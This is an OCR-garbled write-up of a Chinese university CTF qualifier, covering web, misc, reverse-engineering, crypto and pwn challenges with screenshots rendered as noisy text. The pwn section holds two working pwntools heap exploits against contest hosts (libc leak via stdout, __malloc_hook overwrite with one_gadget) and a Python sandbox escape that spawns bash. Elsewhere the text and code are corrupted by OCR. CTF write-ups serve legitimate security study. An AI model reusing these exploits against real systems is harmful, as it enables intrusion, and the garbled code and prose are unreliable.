EAMtomeat)g & 55 04 tomcat tomcat Btisk T



"' 4 AracHE

Tomcat Web Application Manager

[Mecesge |=« |
List Applications HIML Manager Help Help Server Status
Path Version Display Name Running Sessions
Stant | Stop | [ Reload | [ Undeploy
n Hone specitiad Wakcome to Tomeat e E [Expie seasions | with e = [30 mirutes
(o Nane speciied Tomeat Documentation frue '] mlwm
| Expire sessions | with idle = |30 | minates
 fexarngles Nong specifiad Serviet and JSP Examphes truse Q s (B9 lﬂ | MW )
| Expire sassions | with idle = |30 | minutas
Stant | Stop | [ Retoad | [ Undaploy |
[ [host-mangger Aone specified Tomeat Host Manager Application true '} o M’W]m O e
Start Stop Reload Undeploy
managsr Aone specified Tomeat Manager Agallcation truse 1 [Expi sessiona | with e = [30 Tminaes
Deploy directary or WAR file located an server
Context Path (required):
XML Configuration file URL:
WAR or Directary URL: |
[
Fr
nL, 23
A AE b ewarf & shell 285 [k #ishell
R Htmp B % T Nkey B, BIEA BN SCHF
Jrmpikey
name type lastModified Size permission
LAPTOP-9VJQLBJS file 2020-08-18 08:59:14 1702 RW
sernver file 2020-08-19 04:15:18 13080 RW

)y

RS54 L/tmp/key T EISCH#dump 3K, server@ANelfScfF, Fptidazr i 7 F
5e™| @ 28] memset(&buf, @, 9x1000ulL);

i @290 *( _QWORD *)&addr.sa_family = @LL;

o @ 38| *{_OQWORD *)&addr.sa_data[6] = 6LL;

= @ 31 *(_OWORD *)&vl1z.sa_family = @LL;

- @ 320 *(_OWORD *)&v1:.sa_data[e] = @LL;

D ® 33| addr_len = @;

o @ 34 fd = socket(2, 1, 0);

p 35 if ( fd >=8 )

D 36| {

p ® 37 addr.sa_family = 2;

p ® 338 *(_WORD #*)addr.sa_data = htons(@x3039u);
p ® 39 *(_DWORD #)&addr.sa_data[2] = htonl(@);
p ® 49 if ( bind(fd, &addr, @x18u) »>= 8 )

p a1 {

p ® 42 if ( listen(fd, 5) »>=8 )

p 43 {

B ® A printf("iSocketFD: %d\n", (unsigned int)fd);
bl @ 45 while ( 1)

4 46 {

;] ® 47 vl = accept(fd, &v13, &addr len);
. ® 48 if (v < @)

+ 49 {

. @ 50 nuts("recv faill™):




KB 2, WU A 3 12345%5 115 A socketiE #:3% A i IR L E R B B I8 B, A DB FS1EE £ 2N E B g
TR AR S5 B8 AR T i IR 4 SR AR SR AL SR 045 BE ftmplkey/ B 3 T AU LA B4 A4 B SO AR TS RS 18 B 0L
FERBIFEH(E T TREERS 2 EH SO, RIE— /M rsafh ), REE — MR RBAEY T, B AF4E £buf, B

N R BEAMET R 75 58 BEGIN RSA PRIVATE KEY /R 7 B 57 50 ) 777 21 61 22 1 S0 BL (IR 55 8% B FA B R SR VB

32 }

13 puts(“recv success!");

4 send(v9, "recv success", @xDull, @);
5 printf("new_fd:%d\n", (unsigned int)v9);
6 vE = recv(vS, &buf, Bxl1eedulLlL, @);
7 if (vE > 8)

8 printf("buf:%s\n", &buf);

9 else

8 puts(“"recv fail or client close");
1 v1i0 = atoi(&buf);

32 strcpy(dest, "/tmp/key/");

3 vl6 = @LL;

4 vl7 = @LL;

35 v18 = @LL;

6 v19 = @LL;

7 v28 = 8;

8 sprintf(&s, "%d", v5);

39 vE = recv(ve, &but, 8x1080ulLL, @);
) strncat(dest, &buf, vi - 1);

1 stream = fopen(dest, "w");

2 if ( lstream )

3 break;

4 for (1 =0; 1 < vig; ++1 )

5 {

a vE = recv(ve, &but, 8x1088ulLL, @);
7 buf "= 1u;

8 if (vE »>8)

9 printf("buf:%s\n", &buf);

0 else

i1 puts(“"recv fail or client close");
2 fwrite(&buf, vi, 1ulLl, stream);

i3 ¥

4 frlacalctraamh-

Sy

W EX T NS R A T

AT B A (A IBEGIN RSA PRIVATE KEY:L,i8 B 52 B FE3hin L)

fin=open("xorkey","rb") #M}%%: FHIAHEBRBEGIN RSA PRIVATE KEYk
fout=open("prive_keyl","wb")
y=fin.read().split("\n\x00")

print y
for i in y[:-1]:

b=ord(i[0])”0x1

fout.write(chr(b)+i[1:])

fout.write("\x0D\x0A")

fRE A



from Crypto.PublicKey import RSA
import string
#prive.pemNHITEH FEE £ B M XN EBEGIN RSA PRIVATE KEY:k/5 4RI SO
with open("prive.pem") as f:
key = f.read()
rsakey = RSA.importKey(key)
#flag.5Ht2 M H 4 Hflag. 555555555555584648686
with open('flag.5','rb"') as f:
cipher = f.read().encode('hex")
cipher = string.atoi(cipher,base=16)
print cipher
m=pow(cipher,rsakey.d,rsakey.n)
print hex(m)
ml="666c61677b32376263333539392d656339662d346263302d623030372d6266626366633664396661627d"
print ml.decode('hex")

— a6 f# Hi>Rdecode(  hex’ )A T, ELNIER HARINEE, 48 J5 w72 5 th 1) 163 %) L 2 T 666c61671X B E.flagh) =
fﬁti’l‘j}ﬁﬁﬁ"]%ﬁﬁdecode( ‘hex’ )T

flag>#:flag{27bc3599-ec9f-4bc0-b007-bfbcfc6d9fab}

RE

Z3

idafTFF, &HEZERBAIFAfag, REHERMNKflagit T — M HE 5Dsthbi, ki RKflaget g% w— KT
R4, HEHsympyfE



Data Tnexplored External =mbol

X IOA View—h x| Freudocode—n  [E] Stack of main [ @ Hex View—l x| Structr
g~ 85| unsigned __int8 w85; // [rsp+F7h] [rbp+77h]
36| unsigned _ int8 v86; // [rsp+F8h] [rbp+78h]
a 87| unsigned __int8 w87; // [rsp+F2h] [rbp+79h]
o 88| int Dst[43]; // [rsp+l18h] [rbp+9eh]
o 89| int i; // [rsp+1BCh] [rbp+13Ch]
o 98
ul 91| _main(*{_QWORD *)&argc, argv, envp);
ul 92| memcpy(Dst, &unk 484820, @xABuisd);
1] 93| printf("plz input your flag:")};
ol 94| scanf("¥42s5", &vas);
ol 95| w4 = 34 * w49 + 12 * v46 + 53 * 7+ 6 * vd3 + 58 * v
o 95| w5 = 27 ¥ w58 + 73 F w40 4 12 % 8+ B3 * w46 + 85 * v
ol 97| w6 = 24 * w43 + T8 * v46 + 53 * + 36 * vd9 + BB * v
o 98| w7 = 7B * w47 + 39 ¥ y4p + 52 F +
o 99| wd = 48 * w50 + 14 * w43 + 23 * +
128| w9 =15 * w5l 4+ 48 * w50 + 92 * w4 + 7 w4g
o 181| w18 = 26 * w51 + 67 * v49 + & * vA7 + ;
o 182| w1l = 34 * w56 + 12 * v53 4+ 53 ¥ vy54 + w55 w58 + wh9;
0 1a3 (12 = 27 * w57 + ¥3 * v56 + 12 * w55 + V5 v58 + 52 * v59
0 la4 (13 = 24 ¥ w55 + 78 * w53 4+ 53 F w4 + Vs v58 + 46 * v59;
O 185 w14 = 78 * v54 + 39 * y53 + 52 * v55 + 9 * w56 w53 + B4 * v59;
o 186 5 =48 * v57 + 14 * w55 + 23 * v53 + 6 * w54 w58 + B3 * v59;
o 187 6 =15 * w58 + 48 * w57 + 92 ¥ y55 + 85 ¥ y54 4+ 2 + v56 + 72 * v59;
o 1a8 =26 * v58 + B7 * V56 + 6 * vS4 + 4 ¥ 53 3 F v 8 93
o 189 (18 = 34 ¥ v63 + 12 * w6l 4+ 53 * vel + 6 * vE2 8 vB53
1] 118 w19 = 27 * v6d + 73 * w63 + 12 * w62 + 83 * w6 8 vES I
o 111| w28 =24 * w62 + 78 * v6B@ + 53 * vel + 36 * v 8 vB5
ol 112 w21 =78 * + 39 * v6@ + 52 * vB2 + 9 * Vi3 2 r65
ol 113| w22 = 48 * + 14 * ye2 4+ 23 *F vel + 65
o 114 w23 =15 * + 48 * vid + 92 ¥ vE2 + VB3 +
o 115| w24 = 28 * + 67 * v63 + 6 * vEl
| 116 w25 = 34 * + 12 * w67 + 53 * v
0 117| w26 = 27 * +73 % 78 4+ 12 *
o 118 v27 = 24 * + 78 % vET + 53 %
o 119| v28 = 78 * + 39 % yE7 + 52 *
o 128 w29 = 48 * w71 + 14 * w69 + 23 *
7l for (1 =8; 1 <= 41; +H+i )
3
3 if ( *(&4 + 1) !'= Dst[i] )
]
1 printf("error™);
2 exit(@);
3 }
1
5| printf("win™);
3| return @;
7t

P
56 F A48 e BB dump T 3k

import idc
import idautils
def tiqu(start,end):
a=[]
for i in range(start,end,4):
a.append(idc.Word(i))
print a
tiqu(0x404020,0x4040c8)

[2@247L, 4@182L, 36315L, 36518L, 26921L, 39185L, 16546L, 12094L,

25276L,
21135L,
22926L,
14233L,
35185L,

19336L,
24891L,
18886L,
24736L,
14877L]

18548L,
18385L,
23345L,
1e8864L ,

16386L,
27415L,
126821,
14169L,

21287L, 11759L,
12855L, 1@899L,
12384L, 26622L,
35155L, 28962L,

184681,
249271,
19887L,
33273L,

25613L,
2@678L,
227471,
21796L,

B
WG S RFEA, REMAEMT



1mport sympy

cl=[]

for i in range(46,88):

al="v'+str(i)

exec(al+'="+"sympy.Symbol(\"'"+al+"\"')")

exec("cl.append("+al+")")
a5=[20247L, 40182L, 36315L, 36518L, 26921L, 39185L, 16546L, 12094L, 25270L, 19330L, 18540L, 16386L, 21207L,

v4 =
V5 =
V6 =
v7 =
v8 =
V9 =
v1e
vll =
vl2 =
vl3 =
vl4 =
v15 =
v1le =
vl7 =
v18 =
v19 =
V20 =
v21l =
v22 =
v23 =
v24 =
v25 =
V26 =
v27 =
v28 =
v29 =
v30 =
v3l =
v32 =
v33 =
v34 =
v35 =
v36 =
v37 =
v38 =
v39 =
v40 =
v4l =
v42 =
v43 =
v44 =
V45 =
b2=[]

34 * v49 + 12 * v4e6
27 * v50 + 73 * v49
24 * v48 + 78 * v46
78 * v47 + 39 * v4e6
48 * v50 + 14 * v48
15 * v51 + 48 * v50
26 * v51 + 67 * v49
34 * v56 + 12 * v53
27 * v57 + 73 * v56
24 * y55 + 78 * v53
78 * v54 + 39 * y53
48 * v57 + 14 * v55
15 * v58 + 48 * vy57
26 * v58 + 67 * v56
34 * v63 + 12 * v60
27 * v64 + 73 * v63
24 * v62 + 78 * v60
78 * v6l + 39 * v60
48 * v64 + 14 * v62
15 * v65 + 48 * v64
26 * v65 + 67 * v63
34 * v70 + 12 * v67
27 * v71 + 73 * v70
24 * v69 + 78 * v67
78 * v68 + 39 * v67
48 * v71 + 14 * v69
15 * v72 + 48 * v71
26 * v72 + 67 * v70
34 * v77 + 12 * v74
27 * v78 + 73 * v77
24 * v76 + 78 * v74
78 * v75 + 39 * v74
48 * v78 + 14 * v76
15 * v79 + 48 * v78
26 * v79 + 67 * v77
34 * v84 + 12 * v81
27 * v85 + 73 * v84
24 * v83 + 78 * v81
78 * v82 + 39 * v81
48 * v85 + 14 * v83
15 * v86 + 48 * v85
26 * v86 + 67 * v84

for i in range(4,46):
exec("b2.append("+'v'+str(i)+')")
for j in range(9,len(a5)):
b2[j]=b2[j]-a5[]]
#print c1,b2
f=sympy.solve(b2,c1)

flag=

for i in range(46,88):

+ 53 * v47 + 6 * v48 + 58 * v50 + 36 * v51 + v52

+ 12 * v48 + 83 * v46 + 85 * v47 + 96 * v51 + 52 * v52

+ 53 * v47 + 36 * v49 + 86 * v50 + 25 * v51 + 46 * v52

+ 52 * v48 + 9 * v49 + 62 * v50 + 37 * v51 + 84 * v52

+ 23 * v4d6 + 6 * v47 + 74 * v49 + 12 * v51 + 83 * v52

+ 92 * v48 + 85 * v47 + 27 * v46 + 42 * v49 + 72 * v52

+ 6 * v47 + 4 * v46 + 3 * v48 + 68 * v52

+ 53 * v64 + 6 * v55 + 58 * v57 + 36 * v58 + v59

+ 12 * v55 + 83 * v53 + 85 * v54 + 96 * v58 + 52 * v59
+ 53 * v64 + 36 * v56 + 86 * v57 + 25 * v58 + 46 * v59
+ 52 * v55 + 9 * v56 + 62 * v57 + 37 * v58 + 84 * v59

+ 23 * v653 + 6 * v64 + 74 * v56 + 12 * v58 + 83 * v59

+ 92 * v55 + 85 * v54 + 27 * v53 + 42 * v56 + 72 * v59
+ 6 * v64 + 4 * v53 + 3 * v55 + 68 * v59

+ 53 * v6l + 6 * v62 + 58 * v64 + 36 * v65 + V66

+ 12 * v62 + 83 * v6O + 85 * v6l + 96 * v65 + 52 * v66
+ 53 * v6l + 36 * v63 + 86 * v64 + 25 * v65 + 46 * v66
+ 52 * v62 + 9 * v63 + 62 * v64 + 37 * v65 + 84 * v66

+ 23 * v6O + 6 * v6l + 74 * v63 + 12 * v65 + 83 * v66

+ 92 * v62 + 85 * v6l + 27 * v6O + 42 * v63 + 72 * v66
+ 6 * vel + 4 * v6O + 3 * v62 + 68 * V66

+ 53 * v68 + 6 * v69 + 58 * v71 + 36 * v72 + v73

+ 12 * v69 + 83 * v67 + 85 * v68 + 96 * v72 + 52 * v73
+ 53 * v68 + 36 * v70 + 86 * v71 + 25 * v72 + 46 * v73
+ 52 * v69 + 9 * v70 + 62 * v71 + 37 * v72 + 84 * v73

+ 23 * v67 + 6 * v68 + 74 * v70 + 12 * v72 + 83 * v73

+ 92 * v69 + 85 * v68 + 27 * v67 + 42 * v70 + 72 * v73
+ 6 * v68 + 4 * v67 + 3 * v69 + 68 * v73

+ 53 * v75 + 6 * v76 + 58 * v78 + 36 * v79 + v80

+ 12 * v76 + 83 * v74 + 85 * v75 + 96 * v79 + 52 * v80
+ 53 * v75 + 36 * v77 + 86 * v78 + 25 * v79 + 46 * v80
+ 52 * v76 + 9 * v77 + 62 * v78 + 37 * v79 + 84 * v80
+ 23 * v74 + 6 * v75 + 74 * v77 + 12 * v79 + 83 * v80
+ 92 * v76 + 85 * v75 + 27 * v74 + 42 * v77 + 72 * v80
+ 6 *v75 + 4 * v74 + 3 * v76 + 68 * v80

+ 53 *v82 + 6 * v83 + 58 * v85 + 36 * v86 + v&7

+ 12 * v83 + 83 * v81 + 85 * v82 + 96 * v86 + 52 * v87
+ 53 * v82 + 36 * v84 + 86 * v85 + 25 * v86 + 46 * v87
+ 52 * v83 + 9 * v84 + 62 * v85 + 37 * v86 + 84 * v87

+ 23 *v8l + 6 * v82 + 74 * v84 + 12 * v86 + 83 * v87

+ 92 * v83 + 85 * v82 + 27 * v81 + 42 * v84 + 72 * v87
+ 6 * v82 + 4 * v81 + 3 * v83 + 68 * v87



al="v'+str(i)
exec("flag+=chr(f["+al+"])")
print flag

E47 3 ag B
flagNflag{7e171d43-63b9-4e18-990e-6e14c2afe648}

hyperthreading

FETFHEREMERY, #HBEREUERIACE T INLRE,

BRJE, RO TINE m

RFERIREN T IS, KBRS E

int sub_4@1278()
i
signed int v@; // eax
HANDLE Handles; // [esp+8h] [ebp-Ch]
HANDLE v3; // [esp+Ch] [ebp-8h]

sub_481628("plz input your flag:");
sub_481858("¥425", byte 48336C);

Handles = CreateThread(@, @, sub_481128, &, @, @);
v3 = CreateThread(@, @, loc_481288, 8, @, 8);
CreateThread(®@, @, sub_4@1248, @, @, @);
WaitForMultipleObjects(2u, &Handles, 1, @xFFFFFFFF);
ve = 8;

do

if ( byte 483386C[v2] != byte 482158[ve] )

sub_4@1@28("error”);
exit(8);
}

++wid;

while ( v& < 42 );
sub_481828("win");
getchar();

return @;

)2y

MEESIN T, byte 40336CRRATHAN, KBEER (byte_40336c[i]<<6) Nbyte 40336¢[i]>>2)\0x23+0x23

WORD _ stdcall sub 4@81128(LPV0ID lpThreadParameter)
{ : L :
int v2; // [esp+@h] [ebp-18h]

signed int i; // [esp+14h] [ebp-4h]

CreateThread(®, @, hHandle, @, @, @);
WaitFersingleObject({hHandle, @xFFFFFFFF);
for (1 =8; 1 <€ 42; ++i )

{

byte 48336C[1] ~= @x23u;
Sleep(6u);
v2 += *(unsigned _ ints *)(_ readfsdword{@x3@u) + 2) + 9;
byte 48336C[1] += 35;
1

return &;

I T - = R Y I o Y

B
hn# J5 Hbyte_402150tL ¢

byte_48336C[1] = (byte_48336C[1] << 6) ~ ((signed int)(unsigned

__int8)byte_48336C[1] »» 2);



-y,

do
if ( byte 48336C[vA] != byte 482158[v@] )

sub_481628("error”};
exit(@);

h
+Hul;
E

S)2y
RAMFER SR BB T, BERANT

al=[221, 91, 158, 29, 32, 158, 144, 145, 144, 144, 145, 146, 222, 139, 17, 209, 30, 158, 139, 81, 17, 80, 8
P
for i in range(0,42):
for j in range(0x20,0x7f):

b=(((((j<<6)"(j>>2))&OxFf)"0Ox23)+0x23)8&OxFf

if b == al[i]:

f=f+chr(j)

break

print f

B
flagiy: flag{a959951b-76ca-4784-add7-93583251ca92}

CRYPTO
bd
BT TRE, ZHeRXK, #HFE|Wiener_attack, /5 Eqgithub b T T AMBEHMA, BEMAK N, RiEHE

B RsAwienerHacker. py - i0E4&

MEF R|5(E B0 EENV) EEH
print("d = ", d)

hacked d = hack RSA(e, n)

if d == hacked d:
print("Hack WORKED!™)
else:

print("Hack FAILED")

print("d = ", d, ", hacked d = ", hacked d)

print("------------—--- "
times -= 1
if _name ==" main_"
#test_is_perfect_square()
#print("----------———-—- "

e=468674170134144765118557051674865152921018652108409251731¢
n=869665906273729180105714578407244567741940809106942311098
print(thack RSA(e,n))

S)e)



wlener-at

574545

S)e)

d=1485313191830359055093545745451584299495272920840463008756233
Nn=869665906273729180105714578407244567741940809106942311098117730508662174159756473587842461537108247946528
€=376250981090817017745716137852793439088144251411239153515279034774515708935366631718060893645742934494145
m=pow(c,d,n)

print hex(m)[2:-1].decode("hex")

flag [d375

A
flaghy: flag{d3752538-90d0-c373-cfef-9247d3e16848)

Ifsr

SR E:  https://xz.aliyun.com/t/3682

# This file was *autogenerated* from the file 333.sage
from sage.all_cmdline import * # import sage library

_sage_const_100 = Integer(100); _sage_const_2 = Integer(2); _sage_const_1 = Integer(1)
s = '010011001110111101111101101010011100101001010000111111011011110101111001111101001001011101110011011101

N = _sage_const_100

F = GF(_sage_const_2 )
ans=[]

out = s

Sn = [vector(F,N) for j in range(N+_sage_const_1 )]
for j in range(N+_sage_const_1 ):
Sn[j] = list(map(int,out[j:j+N]))

X = matrix(F,Sn[:N])

invX = (X**-_sage const_1 )

Y = vector(F,Sn[-_sage_const_1 ])

Cn =Y * invX

res = ''.join(str(i) for i in Cn)
ans.append(int(res[::-_sage_const_1 ], _sage const_2 ))
print (ans)

flagfti: flag{856137228707110492246853478448}

PWN
babyjsc
H#nc Hpython2# 47

__import_ ('os').execl('/bin/bash','-p")



flagfg flag{c4e39be1-666e-43c4-bf9c-3b44bd280275}
maj

XEBRE FERERME, FTHXE, RERAEENIEBRASEMERKSH, FUXHRERRZ
E%jﬁiﬁ%y K%Edﬁ%%; Euﬁ%ﬁlﬁ, E%%T—Fﬁfﬂ%uaf+|o‘nﬁr’ ®wT

#coding:utf-8

from pwn import *

#context.log_level = 'debug'

context.arch = 'amdé4'

#p = remote("121.36.209.145",9998)

#p = process('./pwn_e')

p = remote("101.200.53.148", 15423)

elf = ELF('./pwn_e")

libc = ELF("/1ib/x86_64-1inux-gnu/libc.so0.6")

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)

sda = lambda a,s:p.sendafter(a,s)

sla = lambda a,s:p.sendlineafter(a,s)

sa = lambda a,s:p.sendafter(a,s)

def new(size,content):
sla("5. exit\n>> ",'1")
sla("please answer the question\n\n",str(80))
sla("?\n",str(size))

sda("start_the_game,yes_or_no?\n",content)

def dele(idx):
sla(">> ",'2")
sla("index ?\n",str(idx))

def show(idx):
sla(">> ",'3")
sla("index ?\n",str(idx))

def edit(idx,data):
sla(">> ",'4")
sla("\n",str(idx))
sda("?\n",data)

one = [0Ox45226,0x4527a,0xf03642,0x11207]

new(0x100, 'a'*0x100)#0
new(0x68, 'a'*0x100)#1
new(0x10, 'a'*0x100)#2

dele(0)

new(0x68, 'a')#3
new(0x68, 'a' )#4

new(0x28, 'a')#5

dele(1)

edit (@, '\x00' *0x68+p64(0x111))
dele(4)

new(0x98, 'a')#6
edit(1,pl6(0x25dd))

new(0x68, 'a')#7

new(0x68, ' \x00 ' *0x33+p64 (0xfbad3c80)+p64(0)*3+chr(0))#8



edit(8, '\x00'*0x33+p64(Oxfbad3c80)+p64(0)*3+chr(0))
rc(0x58)

libc = u64(rc(8).1ljust(8,'\x00"'))- 0x3c56a3
log.info("1libc: "+hex(1libc))

ru(">> ")

sl(str(2))

ru("\n")

sl(str(7))
edit(1,p64(libc+0x3c4b10-0x23))
sla(">> ",'1")

sla("\n",str(80))

sla(" ?",str(0x68))
sda("start_the_game,yes_or_no?",'a"')
sla(">> ",'1")

sla("\n",str(80))

sla(" ?",str(0x68))
sda("start_the_game,yes_or_no?",'a')
#new(Ox68, 'a' )#10

edit (10, ' \x00' *0x13+p64(1libc+0xf1207))
sla(">> ",'1")

sla("\n",str(80))

sla(" ?",str(0x68))

p.interactive()

[+] Opening connection to 101.200.53.148 on port 15423: Done [*]
'’homelyezi/Yez/CTF/gaoxiao_yi/pwn/lgd/attachment/pwn_e'

Arch:  amd64-64-little

RELRO: Full RELRO

Stack: Canary found

NX: NX enabled

PIE:  No PIE (0x400000)

[*] /ib/x86_64-linux-gnu/libc.so.6'
Arch:  amd64-64-little

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE:  PIE enabled

[*] libc: Ox7fbc202bd000

[*] Switching to interactive mode
Congratulations,please input your token: $ icqda4593f7181003c0eea4007d93026

flag{8e63eba52ba4257efc6fe517cf2cc83a}[*] Got EOF while reading in interactive



$

flagf: flag{8e63eba52ba4257efc6fe517cf2cc83a}

easybox

REEEF N unsafeIboxfEMFE.,

, HEAEEBETMTE, BmajElr%
#!/usr/bin/env python

# -*- coding: utf-8 -*-
from pwn import *

import sys

context.log_level = 'debug'

s = lambda x

sa = lambda x, y

sl = lambda x

sla = lambda x, y

I = lambda numb=4096

rc = lambda

ru = lambda x, drop=True

rr = lambda x

irt = lambda

uu32 = lambda x :u32(x.1ljust(4,
uub4 = lambda x :u64(x.1ljust(s,
db = lambda :raw_input()

def getbase_b64(t):
pid=proc.pidof(s)[0]

WA IE T off by one, ¥ Hledit, ¥ Xedit

:orda.send(str(x))
:orda.sendafter(str(x),str(y))
:orda.sendline(str(x))
:orda.sendlineafter(str(x), str(y))
:orda.recv(numb)
:orda.recvall()
:orda.recvuntil(x, drop)
:orda.recvrepeat(x)
:orda.interactive()
"\x00"))
"\x00"))

pie pwd ='/proc/'+str(pid)+"'/maps’

f_pie=open(pie_pwd)

return f_pie.read()[:12]
if len(sys.argv) > 1:
"101.200.53.148:34521"
host = s.split(":")[0]

S =

port = int(s.split(":")[1])

orda = remote(host,port)
else:

orda = process("./pwn")

def add(idx,size,content):
sla(">>>\n",1)
sla("\n",idx)
sla("\n",size)
sa("\n",content)

def dele(idx):
sla(">>>\n",2)
sla("\n",idx)

def add_e(idx,size,content):
sla("\n",1)
sla("\n",idx)
sla("\n",size)
sa("\n",content)

add(@,0x18,'a")
add(1,0x68,'a")
add(2,0x68, 'a' )#



add(3,0x68,'a")

add(4,0x68,'a")

dele(2)

dele(0)

add(0,0x18, "'a'*0x18+"'\xel")

dele(1)

add(1,0x28,'a")

add(5,0x38,'a" )#

add(6,0x28,'a")

add(7,0x30,'a")

dele(0)

add(0,0x18, 'a' *0x18+'\xel")

dele(1)

add(7,0x38,'a")

add(8,0x58, ' \x00' *0x28+p64 (0x71)+pl6(0x25dd))
add(9,0x38, ' \x80 ' *0x28+p64 (0x80))
add(10,0x68, 'a')

add(10,0x68, ' \x00' *0x33+p64 (0xfbad3c80)+p64(0)*3+chr(0))
r(0x58)

libc = u64(r(8).1just(8,'\x00"'))- Ox3c56a3
log.info("libc: "+hex(libc))

sla("\n",1)

sla("\n",0)

sla("\n",0x18)

sa("\n",'a")

#add(0,0x18,'a")

add_e(1,0x68,"'a")

add(2,0x68,'a" )#

add(3,0x68,'a")

add(4,0x68,'a")

dele(2)

dele(0)

add(0,0x18, 'a'*0x18+"'\xel")

dele(1)

add(1,0x98, '\x00 "' *0x68+p64 (0x71)+p64(libc+0x3c4b10-0x23))
add(8,0x38,'a")

add(9,0x68, 'a')
add(10,0x68, '\x00 "' *0x13+p64(libc+0xf1207))
#ru("\n")

#sla(">>\n","'1")

#sla("\n",0)
#sla("\n",0x60)

irt()

flagfe : flag{cab1b22dc48805990b26e882d78e9134}

B https://sourl.cn/Z6MVa8” —jtget ctf2 >+ AL IE!



https://sourl.cn/Z6MVa8

	全国大学生信息安全竞赛初赛writeup
	WEB
	Babyunserialize
	Easyphp
	Littlegame
	Rceme
	Easytrick

	MISC
	签到
	the_best_ctf_game
	电脑被黑
	WamaCry1

	RE
	Z3
	hyperthreading

	CRYPTO
	bd
	lfsr

	PWN
	babyjsc
	maj
	easybox



